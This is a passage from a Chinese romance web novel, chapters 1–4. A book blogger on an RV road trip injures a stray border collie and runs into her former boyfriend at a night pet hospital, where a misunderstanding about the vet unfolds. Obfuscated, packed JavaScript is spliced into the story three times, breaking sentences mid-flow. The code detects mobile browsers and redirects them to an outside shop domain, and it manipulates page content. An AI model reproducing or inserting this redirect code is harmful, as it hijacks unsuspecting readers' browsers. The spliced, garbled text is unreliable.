《自驾准则[公路]》 1. 第 1 章 “偶遇?” “偶遇。” 雨点密集地敲着窗,潮湿的泥土气味从窗缝涌入,侵占了房车半大不小的空间。 景夏将夏蝈蝈的笼子挂在门边,洗洗手后束起染成天蓝色的长发,在沙发上盘腿坐定。 金阮狐疑的嗓音自听筒播放,“出发第一天,你好巧不巧决定在山城休息一晚,刚下高速好巧不巧撞了条狗,然后好巧不巧在宠物医院遇到了分手五年的前任?怎么就这么寸呢?!” 同样染成天蓝色的指甲轻叩茶杯。景夏慢吞吞又委屈巴巴地解释:“决定在山城休息是因为突然暴雨,撞到流浪狗是因为它突然窜出人行道,这里是好不容易找到的晚上也开门的宠物医院。” “那只能解释你出现在这里的原因,他在那有何贵干?他是人类医生又不是宠物医生。” 景夏指尖一顿,抬眸,视线透过左侧的窗,一并穿过雨雾蒙蒙。 她其实想过和时樾再见的场景。 无数次想过。 五年前恨到咬牙切齿的时候,想象有一天,他会跪在自己面前祈求原谅,而她反手就赏他一巴掌。 之后渐渐释怀、偶尔梦到微风徐徐的初见,想象有一天,会在另一个蓝天碧海沙滩边,同他像陌生人一般擦肩而过,用轻蔑找回尊严。 再后来…… 她不再去想,甚至隐约间忘记了这个人、忘记了那短暂却浪漫的夏天。 景夏凝视着远处线条扭曲却难掩亲昵的两道身影,很轻很短促地笑了一声,“他不是宠物医生,但他的女朋友是宠物医生。” 纵使她用尽脑细胞都想不到,有一天,她会在山城北环的一家24小时宠物医院门口,默默旁观五年前冷情决绝的时樾,极尽体贴地陪着他的女友值夜。 “我擦!!!”金阮哑了一阵,“这都什么事啊糟心死了……旅行本来就是为了换心情,怎么半路又捡了个烦恼……不然咱走吧?立刻!马上!开车走!” “那不就成了肇事逃逸吗?” “都承担所有医疗费了怎么能算逃逸?难不成你还打算收养?” “先找领养吧,但不排除这种可能性……我一直挺喜欢小狗。”景夏展开缴费单,用指关节来回去抚那几道杂乱的折痕。那是慌乱之中塞口袋时留下的。 “但是时樾——” “我没事。” “还有网上的评论——” “我真没事。” 挂了电话,景夏点开红色软件的第一条帖子,立刻被一连串99+刺了眼。 三个小时前,她刹车不及把突然窜出的流浪狗撞骨折,奈何方圆五公里内连宠物医院都没有,再远一些很多也到了下班时间,只得顶住网络舆论的漩涡冒险求助广大网友。 目前热评第一就是来这里的原因。 【今天不下雨:北环友谊宠物医院,24小时开门,驾车20分钟左右能到。医生很敬业,门口好停车。】 她没再往下翻,而是在评论区斟酌着敲下一行字——小狗右前腿骨折已手术治疗。8个月的弟弟,健康状况良好,性格活泼黏人,如有领养意愿请私信。 之后,她打开相册,勾选最近两张照片。 第一张是小狗手术前剃毛时的仰头笑,脑瓜顶着一立一塌两只耳朵,傻乎乎的。第二张是检查报告单,涵盖年龄、体重、各项化验结果。 景夏细心地马赛克掉一切能暴露地址的信息,包括医生白大褂和报告单上的医院title。 涂着涂着,她看到了不知怎么入镜的一只手。 曾经,那骨节分明的手总会轻轻地将她的手裹在掌心,又用拇指关节摩挲她的手背至腕骨。因此打眼一看,她依然觉得熟悉。 照片上,这只手攥着小狗的两条后腿防止挣扎,恰好手背向下,露出了一隅掌心和有些粗糙泛黄的茧子。 于是细细看去,又觉得陌生。 景夏手指一划,方格马赛克将人手和狗腿糊了彻底,摁下发送。 她从来不是会选择逃避的人。事业是,感情是,任何事情都是。 午后突如其来的暴雨转为细密的中雨,依旧未停。 景夏换了双拖鞋扣上鸭舌帽,将那几盆说茂盛却各个焦边、说蔫巴又顽强冒新叶的绿植搬下车,在窗户底下摆成一排,让它们尽情吸收天地日月之精华,自己则锁上车门、提着裤腿跑向医院。 推开玻璃门,室内明亮的灯光连同欢笑声倾洒而来。 并肩而坐的男女同时起身。 “陈医生。”景夏抬了下帽檐,将湿发拨至耳后,“小狗情况还好吗?” “已经睡着了,放心吧,”陈嘉璐笑道,左手肘戳了下身旁沉默的男人。 景夏看在眼里,“我去隔壁吃个饭,晚上会一直在车上。有什么情况随时联系我。” 陈嘉璐将手里的手机塞给时樾,向前走了几步,关切道:“拿把伞再去吧,看你头发都淋湿了。” 那是时樾的手机。 他塞进裤兜,抬起波澜不惊的黑眸,紧随陈医生向前几步,像门神似得护在她身侧,依旧保持沉默。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276284|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 女人秀丽,男人俊朗,好不般配。 “不用,谢谢。” 景夏用手背蹭去滚落至下颌的水滴,转身再次迈向雨幕之中。 宠物医院旁边的旁边的旁边是家连锁火锅店。 景夏点了几个半份的荤素菜,将点单纸递给服务生,“微辣红锅,再来两瓶啤酒,谢谢。” “好的您稍坐,料台在那边。” 景夏颔首表示知晓,握住冒热汽的茶杯,时不时转个方向,却没有喝的意思。 静静地坐了好一阵,才无声地骂了一句。记忆喷涌而出,是那些原以为被淹没在时间里的回忆。 比如,他们总是异地,所以只要见面便是形影不离。景夏从野餐草坪走到路边垃圾桶的五米距离,时樾都会亦步亦趋跟在身侧,像方才她所见的那样。 比如,景夏从来没有看过时樾的手机。她不喜欢被侵犯私人空间,礼尚往来,也从来没有看过对方的,像陈医生拿着他的手机翻看那样。 她起身去调了个料碗。 蒜泥、葱花、香菜,老三样加香油。 这是和时樾学的。 料台背后的桌这会热闹得紧,一大哥红光满面衣服撩起一半绷着溜圆的肚子,一边吃,嘴皮子一边飞速碰撞像泄洪似的吐出一连串山城话。 偷听实非本意。调料的功夫景夏只捕捉到一个词——啷个。 啷个、楞个、勒个。 这也是和时樾学的。 她又暗骂了一声,拖着步子回到座位。 菜已经上齐了,红油锅咕嘟嘟冒泡,卷起满满的花椒辣椒。 黄喉毛肚牛肉一烫即熟,口感或鲜嫩或鲜脆。再下菌菇豆泡茼蒿,食材和牛油锅底的香气中和。最后下苕粉刹锅,等熟的功夫,她重又要了两瓶啤酒。 胃里沉甸的饱腹感和大快朵颐后的满足感,冲淡了每一寸皮肤上黏糊糊的潮湿。酒精的苦涩则打散了回忆,让思绪平静地伸展。 她支着下巴向外看。 透过热汽看店内的热闹喧嚣,看模糊的暖黄路灯,看时不时匆匆跑过的行人。一不小心,还看到了推门而入的男人。 四目相对。 “招呼倒哦!”推着餐车的服务生提醒。 时樾错身,一只手臂自然下垂,衬衫袖口和西装裤上有些不明显的水痕。待服务生通过后,他穿过略显狭窄的过道,绕过格挡后径直走到景夏面前。 他深深地看了她一眼,躬身,将另一只手里的长柄雨伞靠在桌边。 “可以坐吗?” 2. 第 2 章 “可以坐吗?” 五年前,琼岛一家冲浪俱乐部内,等待上课的景夏从手机屏幕抬头,被一众黑皮哥哥之间突然冒出来的白肤晃了眼。 见她不答,男生指了下她对面的沙发,礼貌地欠身,又问:“可以坐吗?” 俊朗斯文的阳光男孩,眉宇间还有几分内敛谨慎,这样的人到哪都招人喜欢。 景夏笑了下,“当然。” “可以坐吗?” 景夏还保持着支下巴的姿势,眼神落在了那瓶刚打开还未喝的啤酒。 她听到自己说,“喝完再坐。” 时樾盯着那棕色瓶中摇晃的液体,脸色陡然变得苍白。和意料之中一般无二,甚至更夸张。 因为父亲常年应酬又酒品欠佳,总在醉酒后闹事,所以他痛恨这样的行为,是滴酒不沾的。 看,曾经最亲密的人最知道如何捅对方心窝。 景夏胸口又憋又闷,“啪”一声将筷子扣于碗沿,冲刚好路过的服务生小哥招手,“你好,买单。” “好的,您稍等。”小哥小跑去了吧台。 何必这么咄咄逼人?有怨气才会咄咄逼人。 面对一个此刻不会、将来也不会有任何关系的人,实在是不应该且没必要的。 景夏跨过木头板凳在过道站定,“我和你不是坐在一起吃火锅的关系。” 两步之外,时樾捞起雨伞,转了个方向换手捏住伞尖,“还在下雨,打伞回去。” “不用了。”景夏掠过直冲她的手柄,看到服务生去而复返,从牛仔裤兜掏出手机。 小哥却是空手走来,在两人中间站定,“女士,您这一桌已经买过了。” “买过了?”景夏一怔,“谁买的?” “这我就不清楚了。”小哥笑着挠头,而后秉持着良好的服务精神欠身,“请您带好随身物品,慢走。欢迎下次光临。” “……”景夏按下锁屏,看向还保持着递伞的姿势的男人。 时樾薄唇轻抿,瞳孔在灯光映射下泛着浅浅的琥珀色,晕着她看不懂的情绪。 从温暖的室内踏入微凉的夜色,景夏抱紧双臂。她看了看房车的方向,而后脚步一转,向反方向走去。 西边两百米左右是一个口袋公园,方才开车来时看到的。 漫步过去,人行道旁黄桷树树干挺拔,茂密的枝叶织出一面会呼吸的网。在椭圆形叶片摩挲的沙沙声中,景夏在公园角落的秋千坐下。 有点湿,但裤子本身就没干,所以不打紧。 雨停了,方才的尾巴没跟上来,只有雾气缓缓升腾。 她趿着拖鞋,前后晃着秋千,望着这座城市的一隅。 五年不见的城市。 不再熟悉的城市。 景夏将脸靠在握着铁链的那只手,掏出手机去查看方才的评论,看看有没有合适靠谱的领养人。 吃顿火锅的功夫,评论数翻了一倍,除了置顶的领养评论外,热评第一也不再是宠物医院信息。 【疑似自导自演想蹭动物救助扭转口碑,估计故意撞的吧?能不能举报虐狗啊?】 1047个赞,351条回复。 景夏往下翻了翻。 【边牧这种品种狗流浪的太少,而且不太可能突然窜马路。】 【流浪边牧还是有的,高敏的狗有遗弃的概率。】 【就算有,山城那么多人,怎么就偏偏被她个旅游的遇到了?太巧合了吧?】 【看到评论区都在骂我就放心了】 【一本书连窝角都没就敢说深度阅读,精致摆拍滤镜罢了。这就是所谓头部大V呢!】 【之前只是恰烂钱,虐狗的话那纯纯没良心。】 【看长相就是野鸡大学的,发两本书就敢装文化人了?】 【再看穿的衣服,懂得都懂。】 【点了。】 …… 景夏突然很难过。 她没事。但做八年读书博主后,面对这样铺天盖地的恶评攻击,她还是会难过。 她真没事。但见到了原以为再也不会相见的时樾,她……原来还是会难过。 “啪嗒!” 一滴雨模糊了刺目的字眼。 紧接着又一滴,砸在了她悬空的拇指。很快,所有字迹都变得模糊不清。 景夏伸出另一只手。掌心是很坚硬且愈发密集的刺感,预示着去而复返的来势汹汹。她将手机塞口袋,正要起身时——雨却在瞬间消失了。 一双板正的牛津皮鞋踏于积水正中,鞋面溅了水和泥点,有些格格不入。 景夏缓缓抬头。 宽阔的伞面隔绝了风雨侵袭,却隔绝不了雾气飘渺。时樾撑着伞,低垂的眉目朦胧不清,“淋雨容易着凉。” 景夏眼皮动了动,“已经淋过了。” “那就不要再淋了。” 伞骨倾斜,紧随她的一举一动。起身,绕开水坑,踏上布满落叶的人行道。 雨滴汇聚成线,雨线又汇聚成倾盆之势,撕碎了黑夜静谧的伪装。 “什么时候走?”时樾问,嗓音低沉。 景夏没偏头,连眼珠都没动一下,“尽快。” “雨后雾大,开高速不安全。” 一不留神,落脚的地砖翘起,冰水自裤腿里直触肌肤,又从小腿流下灌进拖鞋。 景夏嘶了一声,猛然停下脚步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276285|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手肘被温热的触感包裹。 一秒,最多一秒,裹挟凉意的空气取而代之。 时樾搀了她又撤手,速度很快,但那不容忽视的粗粝划过手臂敏感的肌肤,留下刮蹭后的刺痛。 “抱歉。”他立刻说。 某些不该存在的记忆仍在闪回。 景夏终于向自己试图忽视的男人看去。水滴自时樾浓密的睫毛上坠落,将她的心拽进谷底。被枝叶过滤后的路灯幽暗,但足以让她看清那棱角分明的脸颊上布满的水珠、湿透的短发和比黑色更浓稠的黑衬衫。 整把伞几乎都留在她的头顶,严严实实,密不透风。 微愣的功夫,伞倒了手,时樾也绕至她的另一边。 他垂眸,眉心用力蹙起。 泥水黏腻地附着在每一寸裸露的皮肤,景夏很不舒服地挪动脚趾,却在察觉时樾的视线后兀自加快了速度。 可所在的方寸之地始终无风无雨,脚踩的盲道也比其他砖块更坚实。 回到车位,三盆绿植早已吸饱了水,青翠欲滴。 景夏一盆一盆挪至房车的台阶,准备清理一下再搬进去,而后大跨步上了车,反手关门,“谢谢。” 把手被猛地扣住,停在半合的门缝聚了风挟着雨,更起劲地吹着。时樾低声道:“等等。” 景夏向侧躲了躲,“还有事?” 时樾从裤兜取出一个塑料袋,放在门边的位置,而后撤身,嗓音渐远,“晚安。” 景夏锁上门后拾起,解开湿淋淋的袋子,里面是两袋干爽的姜枣茶。 房车顶规律的响声是自然的乐章,有些吵,但并不会惹人心烦。 她从柜子里拿了只马克杯,刚撕开包装袋,瞥见男人离开的身影并未融入夜色,而是迎向宠物医院明亮的门灯。于是不着痕迹,将窗推开一个指头的缝隙。 时樾才至台阶下,倩影一闪而来。 “去哪了?”陈嘉璐捏了捏时樾的湿发,“怎么都淋湿了?” 方才的黑伞再一次倾斜,拢住站在时樾身边的女人。从侧看去他下颌线收得很紧,似乎有些不悦,“这么大的雨你出来干什么?” “这话留着跟你自己说吧。”陈嘉璐推着他往里走,“我给你找毛巾擦擦,这要感冒了怎么办……” 时樾任她驱使,护她进去后才合伞,“不会,我给咱们冲姜茶。” “你这伞是白拿了吗?到底怎么回事…….” 女声横跨半个停车位和暴雨传来,依旧没掩盖那浓浓的担忧关切。直到玻璃门开了又关,将一切彻底阻隔。 姜枣茶成抛物线落入垃圾桶,和清理蝈蝈笼的湿巾、面包虫残躯和隔夜的红茶混在了一起。 3. 第 3 章 六点,景夏端着咖啡杯、胳膊夹着书,打开房车的门。 雨后树木泥土散发的清冽芬芳扑面而来,清晨空气中的湿润驱散了残存的睡意。 她坐在台阶上打哈欠,一个背手大爷溜达溜达地冒了出来。 猛然对上眼,两人都吓一跳。 “哎哟哎哟!”大爷扑扇捂胸口,连连后退。 景夏则赶紧吸溜了一口晃出来的咖啡。可惜,拉好的千层心就这么变了形。 “妹儿,头发是蓝嘞!” “昂。”她笑眯眯,“吸睛吧?” 大爷伸耳朵,“撒子晶?” “……好看吗?” “乖!”这就算作打过招呼。大爷继续背手观察这辆在城市停车场里格格不入的庞然大物,“车儿好多钱?房车迈?啷个跟平常看到嘞不一样噻?” “这叫拖挂式房车。多钱不太清楚,我为了出去玩租的。” “吃喝拉撒都在勒里头哦?” “对啊。” 大爷绕车转了一圈回来,小小的眼睛大大的疑惑,“得行不哦?” 景夏一拍裤腿,“得行!” ——其实心虚得要命。 在狭窄的空间入睡,在狭窄的空间做饭,在狭窄的空间收纳生活起居用品,在狭窄的转不开身的卫生间洗澡…… 景夏急需重温手里这本《东京八平米》,看吉井忍怎么在繁华都市的八平米空间克服不便利将日子过得有声有色。 昨晚睡前翻的是《冬牧场》,看李娟怎么在只有两身换洗内衣和一件外套的情况下跟牧民住在荒野冬窝子。 总之,她需要一点……许多信心。 七点钟,景夏洗漱完毕去宠物医院探病。 夜间的24小时灯牌已灭,但大厅安静至极,一个人影都没有,只有角落的长条凳上还留着两只并排的马克杯。一绿一红,挺登对。 景夏在呼唤一声和敲值班医生的门之间稍作犹豫后选择了前者,朝里走了几步,“陈医生?在吗?” 无人回应。 这家宠物医院面积很大,L型走廊两侧治疗室和检查室依次排列,住院的房间和手术室在最深处。 于是景夏又向里走了几步,试探着又喊了一声,“陈医生?” 还是没人。 景夏决定先吃个简易早餐再来。然而才转过身,值班室的门“咔哒”一声从内打开了。时樾的额发湿漉漉垂着,水滴划过清俊的面容,在枪灰色衬衫领留下一个个圆形晕影,“她在住院部。” 景夏先是被他眼底密布的红血丝吓了一跳,紧接着嗅到了一阵香甜的椰子气味,像是女士喜欢的洗发水的味道。她屏息,重心向远离他的方向挪了挪。 时樾把着门,后撤半步,“手术很成功,小狗昨晚睡得很好。别担心。” 停顿了几秒,又补充:“可以直接进去,倒数第二个房间。” “好。”景夏抬步就走。 “刚好像听到有人喊我,果然是你。”陈嘉璐从拐角探头,亲切地迎了上来,“小家伙醒了,你要不要给他喂点食?” “好啊。”其实喂不喂都行,景夏只想立刻马上离开这里。 走廊太窄,夹在两人之间太窒息。 然而陈嘉璐对这点心思一无所知,一只胳膊挽着景夏,另一只手狠狠戳了下时樾的手臂,“怎么又不擦干?你这样怎么回医院?你还想进急诊?” 话音将落,传来男人极近忍耐后依然从唇边溢出的咳嗽声。陈嘉璐怒道:“头发吹干,吃药!” 时樾没开口。从余光中的动作幅度来看,两人应该是碍于她在使眼色。 景夏如芒在背。 直到时樾重新走进值班室,陈嘉璐这才拉她往住院部走,“不好意思啊,他这几年身体不太好,还过劳晕倒过一次,把我吓坏了……你是不知道,那会我真怕他猝死。” “……工作忙。” “忙!”陈嘉璐松开手,率先推门而入,“他现在是一院的骨科医生,今年考上了主治医生。26岁的主治医生哦!” 景夏跟了进去,“……很优秀。” “当然!” 住院部内,上下两层笼子里住满了病号。有带着伊丽莎白圈头朝笼子角自闭的猫咪,有将头搭在两只前爪呼呼大睡的柴犬,甚至还有一只满笼子绕圈的可达鸭。 小边牧在二层,左右都是警惕看着来人的银渐层,和它摇尾巴咧嘴的模样形成鲜明对比。 景夏走上前,将手指从栅栏缝隙伸了进去。小狗先用软软的鼻头嗅闻,然后伸舌头舔了又舔,尾巴摇得更欢实了。她禁不住夹起嗓音,“睡醒了吗小狗?” 陈嘉璐将装好狗粮的碗递给她,“之前养过狗吗?” 景夏打开笼子的动作一顿,“没有。” 只是帮时樾看过两天狗,算不得养。 小家伙不知道饿了多久,至少昨天车祸之后再没进食,这会不仅整个嘴筒子都塞了进去,好的那只爪还勾着碗沿,生怕被抢走似的。 两人并肩,陈嘉璐道:“别自责。小狗不懂事在马路上乱跑,开车的人防不胜防。遗弃他的人才是罪魁祸首。” “谢谢。”景夏又看了一会,“身体健康性格也不错,真是遗弃吗?” “看毛发打结的模样至少流浪半个月往上,但目前没有收到有丢狗的消息。”陈嘉璐麻利地给其他猫猫狗狗加粮,还清理了水碗尿垫,一切完毕洗洗手,打了一个悠长的哈欠。 小边光盘行动后,景夏取出豌,“是不是快换班了?” 陈嘉路接过,“下一班要晚来,九点左右吧。”洗完擦擦手,又打了个哈欠。 景夏翻看腕表,“喝咖啡吗?车上有咖啡机。” “好啊!” 路过值班室的门时,景夏不禁加快步伐。 陈嘉璐自言自语似得嘟囔,“七点半,估计到了吧……” 景夏这才松了口气。 来到停车场,陈嘉璐绕越野车半圈,又绕房车半圈,连连感慨,“第一次见这种房车,好酷!但这样停车会不会不方便?” “有点,拖挂房车比较笨重。但好处是扎营之后前车可以自由活动,适合去野外。”景夏爬上台阶,拉开柜门,“拿铁还是美式?” “热拿铁,谢谢。” 磨豆布粉压粉,玻璃杯里加冰块加水,和马克杯并排放在出液口。等待的功夫,打好奶泡倒好缸,浓缩液一出完便熟练地拉出郁金香图案。 两杯一齐出,景夏转身正要把咖啡递过去,才发现陈嘉璐一直站在门口,“我给你拿张折叠椅。” “不麻烦,阳光这么好晒着太阳喝。”陈嘉璐走下台阶,观赏片刻后轻抿一口,眼睛立刻亮了,“好喝,完全能开店了。” 景夏灌了半杯冰美式,有点小骄傲,“还可以。” “还是得和懂咖啡的人喝咖啡。”陈嘉璐撇嘴,“刚才那位,别看天天拿咖啡当水喝。问好不好喝?他说不知道……一百三一包的蓝瓶和三十块一包喝不出区别,浪费!” 杯口一不小心磕了牙。字里行间的嫌弃和宠溺之外,更让景夏惊讶的是——时樾轻微咖啡因过敏,以前从来不喝咖啡的。 她晃了晃杯子,冰块发出震震脆响。 以前,不是现在。 两人一边喝,一边有一搭没一搭地聊天。 景夏还蛮喜欢眼前的女人。无论是为人处事还是工作中的敬业,还有察觉她愧疚的敏锐细心,都蛮喜欢。 “这种手术完,最快多久能出院呢?” “三天左右。前两周除了解决问题不能落地,之后慢慢恢复运动。”陈嘉璐问,“着急走吗?” “是有点呢……”景夏翻看日历,估算时间。 “骨折还没康复,不太好找领养吧?” “对啊。”景夏刚想追问术后的事项,目光却一凝。 时樾去而复返,手里拎着两个袋子在车头的位置站定,薄唇轻抿,蹙眉的动作让阳光在眼窝投下暗影。 他确实变了。 依旧俊朗的外表早已褪去二十出头的阳光青涩,只有闲人勿近的冷淡硬朗,和景夏所不熟悉的成熟。 陈嘉璐顺着她的视线回头,大为惊讶,“这么快?” “嗯。”时樾晃了下左手,“加辣。” “熬夜之后就想吃这一口,真好。”陈嘉璐抢过另一只袋子,转身便塞进了景夏手里,“豌杂面,早餐。” 景夏吓一跳,“不用——” “你请我喝咖啡我请你吃早餐,别客气。”陈嘉璐倒退躲了好几步,还不忘抓着男人一起,“快吃吧,杯子洗完还你。” 他们没给景夏再拒绝的机会,拉扯着穿过停车场。 回到车上,打开外带餐盒,一股浓郁的香气袭来。景夏抽了张纸巾平铺,准备挑出葱花,可看清后心却错了一拍。 榨菜芽菜藤藤菜从码布整齐的细面下方露了出来,盖上了厚厚一层黄澄澄的耙豌豆和色泽浓郁的杂酱,唯独没有葱花。 景夏顿了顿,将酱料和面搅拌均匀。 碗底也没有葱花。不仅如此,看色泽,辣椒也比正常少了至少一半。 这是她自己的吃法。 - 接下来的两天陈嘉路没值班,时樾也没出现。只有穿不同颜色衣服的外卖和跑腿小哥定时定点报道。 盐水鸭,酸辣粉,蹄花,烤苕皮,红油抄手…… 都是景夏爱吃的。 她记下了外卖单上的金额,连同火锅的钱一并从银行卡转给时樾。万幸,他的信息还存在于手机银行的曾用联系人里。 此外,景夏好好摸索了一下自己未来几个月的新家,按照短暂使用的感受调整了下衣服、书、锅碗瓢盆等等的摆放位置,去宠物医院隔壁的隔壁超市屯了货,还借用了人家家的水管补满了水。 说好给一百块钱,结果用完之后老板叔非但没收,还给了她一个老冰棍。 把十米出头的车体挪到旁边,连十米的水管加水,加完收水管,再把车挪回去。这一通下来景夏累得慌,也不顾火红的日头,打开包装蹲在门口就开始啃。 过了一会,老板叔也来她旁边蹲着啃。 “叔,今天咋这么热?”景夏吃的速度赶不上融化的速度,急得慌,“有四十度吧?” “没得,三十六七度,前两天落雨凉快了。你嗦起吃嘛!”叔毫无形象地舔了口滴在掌心的液体,“勒斗好了噻!” “……”正当景夏欲言又止地嫌弃时,叔伸手指着急道:“搞快!衣服高头了!(快点滴衣服上了)” 景夏眼疾嘴快,嗖地照胳膊舔了上去,成功避免了搓衣服的痛苦。 叔乐了,她也笑出了声。 既然形象没了,也不用端着了。她放飞自我,面目狰狞地吸溜吸溜。 叔:“对了嘛!” 景夏:“嗯!” 正吃得开心,视野骤暗,两道影子盖了过来。 景夏抬头,先看到笑眯眯的陈嘉璐,脸一红。再看到薄唇翘起弧度的时樾,脸又僵又红。她吞掉最后一口,用手背蹭蹭嘴角站了起来,“咳……上班?” “嗯。听我同事说你打算领养小边?” “对。” 陈嘉璐看了眼时樾,道:“还是得谨慎,养狗挺麻烦的,养边牧更是。这种聪明的狗大多高敏,需要耐心教导陪伴,否则很容易出行为问题。” “谢谢,都了解过的。我想让小边在房车睡一晚,如果环境适应,明早就带他走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你往哪儿走?”不等她回答,陈嘉璐一把薅过默默立在身后的时樾,“他今天去春城,要顺路的话你拉上他,让他抱狗。” 景夏这才看到时樾手里提了个休闲旅行包。这个提议让她震了好几震,“……不用,不麻烦了,我一个人可以。” “你今天去哪?” “去……春城。” “那不刚好?”陈嘉璐拍了一把时樾,“快,退高铁票。” 景夏瞳孔地震,“真不用——” “好。”时樾应,低头戳弄着手机。 “不用跟我们客气,万一路上小狗不听话乱动弄伤腿就不好了。他不赶时间。” 景夏看向时樾,眼中冒火。陈嘉璐十有八九不知道他们过去的关系。背着现女友给她点外卖,她把钱转回去是为了不生风波。但现在,实在无耻至极。她冷声道:“你还是坐高铁吧,我不方便。” 时樾将手机塞回裤兜,一双黑眸深邃到平静。在漫长的僵持中,他突然拉开车门,将旅行包扔进后座,把小狗抱了出来,然后迈着长腿兀自坐上副驾,系好安全带。 视线隔着驾驶座的门再次相撞,景夏看到了他眼底的坚决。 她再也遏制不住,怒道:“时樾——” 时樾却笑了,笑容清浅,“走吧。” ————————— 7月5日,自驾旅行书单第1期 推荐书目,美国作家梅·萨藤《独居日记》 “大家好。” “三天前,我租了一辆房车,拖着一只蝈蝈、三盆绿植和半车书开始旅行,目的地是一座即将消失的城镇……起因是一条评论。” “有人说,他搞不懂为什么会有读书博主。书不是我写的,不是我出版的,也不是我卖的,从经济角度来说毫无贡献。没有我,书还是会有人在读,会被人喜爱,会口口相传,从阅读本身来说也没什么帮助。凭什么当博主赚那么多钱?” 夜晚的房车是一座孤岛,景夏每晚都睡不着。 这个问题本身不难回答,却让她第一次回看六年来的努力。她的努力意义在哪里?她的存在对这个世界来说有何意义? 透过浓稠的夜色,宠物医院的灯还亮着。三个小时前,时樾来接陈医生下班离开了。 在自己的“存在”危机时刻,情感上的冲击搅乱了一切计划,让她无法静下心来。 景夏沉默地坐了少顷,直到语言自然地流淌,冲破凝固的空气,“我决定通过自驾书单的方式,记录这一路的阅读和思考。不再是为我的关注者们介绍,只是为了自己。” “《独居日记》是由美国女诗人梅·萨藤于60岁左右用日记的形式记录下自己的生活,和关于人生的种种哲思。” “彼时,她名声大噪,却选择隐居避世,独自和抑郁症斗争。她侍弄花草,坚持阅读写作,生活日常又琐碎。时而平静愉悦,时而陷入拧巴纠结,但这都是真实。她用最直白的文字,面对并剖析这些真实。” “几周以来我第一次独处,又拾起了我真正的生活。说来也奇怪,朋友、热恋都不是我真正的生活,唯有独处,在这独处中探究、发现正在发生或已经发生了的才是我真正的生活。*” “希望无论风雨,我都能直面真实的自己,也希望在旅途中,能找到自己的答案。晚安。” 衍生书单推荐(衍生=本人主观联想): 《海边小屋》梅·萨藤 《东京八平米》吉井忍 《冬牧场》《羊道三部曲》李娟 4. 第 4 章 车子将将拐过十字路口,景夏靠边一脚刹车,解锁车门,“滚。” 此刻正朝东,日头已开始火热,车内却如数九寒冬冰封万里。时樾没动,也没应。 “下车。” “到春城我就走。”时樾平静道。 “……现在,下车!” “无论如何,到春城,我走。” 景夏感觉自己七窍都在冒烟。当着陈嘉璐的面她不想和时樾拉扯。刚才不小心叫了他的名字之后,她都没敢去看陈嘉璐的表情。 景夏冷冷发笑:“时隔五年,你又刷新了我认知范围内的最下限。” 副驾上的男人脸色变得苍白,半晌道:“……对不起。” 景夏讥讽地呵了一声,“去和陈医生说才对。我说最后一次,滚、下、车!” “夏夏——” “别这么叫我!!!”景夏解开安全带,“你不走是吧?我走!我去请陈医生,咱们好好聊聊这几天的事情!” 她刚拉开车门,便被时樾抓住了手腕。他紧锁着眉,“和她聊什么事情?” 景夏用力挣开,“你自己清楚!” 时樾怀里的小边被这几声怒吼吓到了,夹着尾巴瑟瑟发抖,眼神躲躲闪闪还不停地舔着嘴巴。他将小边抱紧了些,轻轻摸它的头,“我不清楚。” 景夏彻底被气笑了,也确实笑出了声,“你这天天给我点外卖,她知道吗?” “我给你点外卖,她为什么要知道?” “你说为什么?!”景夏怒目而视,对旁边这个呼吸的生物厌恶至极。蹙眉若有所思的模样,熟练耐心安抚小狗的动作,都让她厌恶至极。 一位环卫工人拖着扫帚从车旁经过,屏幕弹出雷达影像。她发泄般用力摁下退出键。 时樾问:“我花我的钱给你点外卖,和我姐有什么关系吗?” “你也知道是你姐——”景夏戛然而止,“……姐?” 两人同时意识到了问题所在。 时樾看向景夏,加重语气,“陈嘉璐是我姐,你知道的。” 景夏目瞪口呆,“我怎么知道?” “我和你说过。” “胡扯!什么时候说过?” 时樾清晰叙述:“和导师去京市出差、你照顾小九的那两天,我和你说,我姨妈的女儿也就是我表姐是宠物医生,那两天正好上班。万一小九感冒加重,就带去我表姐那看一下,之后从微信给你发了定位。” “…………” 后知后觉的景夏别开头,回忆自己刚才的狂怒,尴尬到脚趾抠刹车。 窗外,一辆辆车驶过,卷起的热浪模糊了黄桷树的浓荫。身后,灼热的视线始终未移开,连带她耳根都是滚烫。她轻声道:“我都忘了。” 过了一会,她又说:“记不起来了。” 她说谎。 景夏看不到时樾的表情,但能听到声音中的祈求。他很有情商的避开尴尬话题,“我没有别的意思,就是担心。” 她将头用力砸向颈枕,面露不屑,“担心什么?” “担心——”时樾的舌头很明显地转了个方向,“患者。它这个年龄本来就活泼,加上不习惯坐车,如果乱动很可能造成二次伤害。骨折恢复不好的话,会落下终身残疾。” 他温润的声音总是有安抚的魔力。小边牧这会不抖了,乖乖窝在时樾怀里,骨折的那条腿乖乖落在他的掌心,转着圆溜溜的眼睛一个劲盯着景夏看。 一人一狗对视良久。 最终,景夏率先收回视线,在导航中输入“春城北站”。 “准备出发,全程853公里,预计行驶时间9小时13分钟,途径16个服务区……” 时樾的理由狠狠戳中了景夏的担忧。 